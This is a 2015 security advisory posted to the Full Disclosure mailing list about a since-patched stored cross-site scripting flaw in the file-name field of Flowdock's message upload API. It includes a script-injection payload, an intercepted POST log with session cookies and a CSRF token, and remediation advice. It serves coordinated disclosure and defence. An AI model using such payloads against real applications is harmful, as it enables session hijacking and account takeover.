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[FD] Flowdock API Bug Bounty #2 - Persistent Web Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Flowdock API Bug Bounty #2 - Persistent Web Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Thu, 24 Sep 2015 10:30:17 +0200
Document Title:
===============
Flowdock API Bug Bounty #2 - Persistent Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1572
Release Date:
=============
2015-09-23
Vulnerability Laboratory ID (VL-ID):
====================================
1572
Common Vulnerability Scoring System:
====================================
3.8
Product & Service Introduction:
===============================
Chat & inbox for teams.. One place to talk and stay up-to-date. Flowdock is a
team collaboration app for desktop, mobile & web.
Work on things that matter, be transparent and solve problems across tools,
teams & time zones. Try it for free for 30 days. Keeping Flowdock`s
environment and customer data safe and secure is a top priority for us. Find
more details on our Help pages. Don`t hesitate to contact us
at support@xxxxxxxxxxxx should you have any questions about Flowdock`s security.
(Copy of the Vendor Homepage: https://www.flowdock.com/security )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an application-side input
validation web vulnerability in the official Flowdock online service
web-application.
Vulnerability Disclosure Timeline:
==================================
2015-08-11: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2015-08-12: Vendor Notification (Flowdock Security Team - Bug Bounty Program)
2015-08-13: Vendor Response/Feedback (Flowdock Security Team - Bug Bounty
Program)
2015-08-13: Vendor Fix/Patch (Flowdock Developer Team)
2015-09-23: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Rally Software
Product: Flowdock - Online Service (Web-Application) [API] 2015 Q3
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
An application-side input validation web vulnerability has been discovered in
the officialFlowdock online-service web-application.
The vulnerability allows remote attackers to inject own malicious script codes
to the application-side of the vulnerable context function or service module.
The vulnerability is located in the filename value of the messages upload
module POST method request. Remote attackers with low privilege application
user
accounts are able to inject own malicious script codes to the application-side
of the service. The request method to inject malicious context is POST and
the attack vector is located on the application-side of the flowdock api
web-service. Remote attackers are able to inject malicious script codes to the
application-side to compromise flowdock accounts by session manipulation or
session evasion attacks. The attacker uploads a file with malicious payload
which demonstrates the injection point and the execution point is on arrival at
the target flowdock inbox.
The security risk of the persistent input validation web vulnerability is
estimated as medium with a cvss (common vulnerability scoring system) count of
3.8.
Exploitation of the persistent input validation web vulnerability requires a
low privilege web-application user account and low user interaction.
Successful exploitation of the vulnerability results in session hijacking,
persistent phishing attacks, persistent redirect to external sources
and persistent manipulation of affected or connected service module context.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] messages
Vulnerable Parameter(s):
[+] filename
Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers with low
privilege application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow
the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Send message to other user team with upload file
2. Inject a Payload as name (code injection)
3. When the user get notification for the new message the code will execute in
the notification
4. Successful reproduce of the vulnerability!
Note: Use tamper data in mozilla to manipulate the session by interception of
the name value.
PoC: Vulnerable Source (notification-content msg-body)
<li class="notification unread mention"><div class="notification-avatar"
style="background-image:
url(https://d2cxspbh1aoie1.cloudfront.net/avatars/local/3881f043bd28974da66d109d74584c158b6e5b53a2c3457383c4bfdb717fb5eb/80);"></div>
<div class="notification-header">
<span class="notification-author">samir</span>
</div>
<div class="notification-content msg-body">"><iframe
src="%281%29%20test%20%28Hadji%20Samir%29%20-%20Flowdock_files/x.html"
onload="alert(document.cookie)"> .png</div> [PERSISTENT INJECTED SCRIPT CODE!]
<div class="notification-actions">
<time class="timestamp calendar" title="August 11, 2015 10:18"
datetime="2015-08-11T10:18:44"> 10:18 </time>
<a class='notification-action mark-as-read' title='Mark as read'>
<i class='fa fa-check-circle-o'></i>
</a>
</div>
<div class='notification-overflow'></div>
</iframe></div></li>
--- PoC Session Logs [POST] ---
POST https://www.flowdock.com/rest/private/170795/messages
Load Flags[LOAD_BYPASS_CACHE ] Content Size[339] Mime Type[application/json]
Request Headers:
Host[www.flowdock.com]
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101
Firefox/18.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
X-CSRF-Token[1+JuxclMvc6XcH7Ik/a7EarpPDczMMvQNvm/Zgz4h1rXI9Da8S+IBSLjsK7uWZmc9LghWzbXf50TOG8cOQADQw==]
X-Requested-With[XMLHttpRequest]
Referer[https://www.flowdock.com/app/private/170795]
Content-Length[5784]
Content-Type[multipart/form-data;
boundary=---------------------------21230318109481145621093143147]
Cookie[__cfduid=d3ee44a1993dff388a7905fe132c30ef11435013606;
_ga=GA1.2.1847177044.1435013486; ga_cid=1847177044.1435013486;
__ar_v4=%7CNVE6VSAVAFEITPQZLCROVA%3A20150622%3A1%7CN4SGXQCDSJGPZCWP5DGWWO
%3A20150622%3A1%7CP3GQR6LVEJFUDLS6YOOZNQ%3A20150622%3A1; logged_in=1438944441;
referrer=Imh0dHBzOi8vd3d3LmZsb3dkb2NrLmNvbS9hcHAvcHJpdmF0ZS8xNDc2NTIi--a4ab7e15e637896fd674cc4567a82201458e65b7;
_flowdock_session=d296anpDYy9qdDdWNnpTQk13M3I0b0xUSDYyNFRZemNIL01wczkybDF0VU15RzRrNEVtYm1nWGQ1Yk5QRjBEbVZ4cXUvSXR2Vm9qTE5VM2FkUG5jMTBzRjZUTENrQlpOVGJRZ2poZlJXSUN6ZXhINTRyYStEWkozSTBNY0ZPZjVESlpnajlzdjB3K09zY2dZV0YzNG5vcFhrMkQ1TWV0MXlnLz
NpNFgyeFhkSE1tcEg4Ym5zcS9yRWlRckRYYi9ab3BQSFJibUR6M2VQVk53U3FJUGJWMHBZZUNFa1k4NHRzNkU0bEJUZ3RvVXJLWUg1VDI3NWtaMUhlSGJxaFVDVC0taWluRHlWdzNQM2xMSUk4djE3ODgrZz09--2be40dc9a5a653d43872d188a0f084547f4213e0;
_gat=1;
_flowdock_credentials=ImhZckJIelNFSVJneFBQV0hMcXhWZk9XaGZpdFBHU2ZhZEtEQ2hoQUkwaUki--2028f858d905618720acb4b77ed51374450a0c01;
login=1]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
Post Data:
POST_DATA[-----------------------------21230318109481145621093143147
Content-Disposition: form-data; name="uuid"
kArHQnaGXX7LQB4H
-----------------------------21230318109481145621093143147
Content-Disposition: form-data; name="event"
file
-----------------------------21230318109481145621093143147
Content-Disposition: form-data; name="content"; filename="\"><iframe src="x"
onload=alert(document.cookie)> .png" [PERSISTENT INJECTED SCRIPT CODE
VULNERABILITY!]
Content-Type: image/png
Reference(s):
https://www.flowdock.com/
https://www.flowdock.com/rest/private/170795/messages
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerbale
name input field with the notification-content msg-body class.
Restrict the input, disallow usage of special chars and filter the context to
prevent application-side script code injection attacks.
Setup a secure exception-handling that prevents the usage of multiple file
extension types to secure against arbitrary file uploads.
Approve the filename and file content typuse to block script codes and other
malicious payloads.
Security Risk:
==============
The security risk of the application-side vulnerability in the flowdock online
service web-application is estimated as medium. (CVSS 3.8)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [samir@xxxxxxxxxxxxxxxxx]
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=========================
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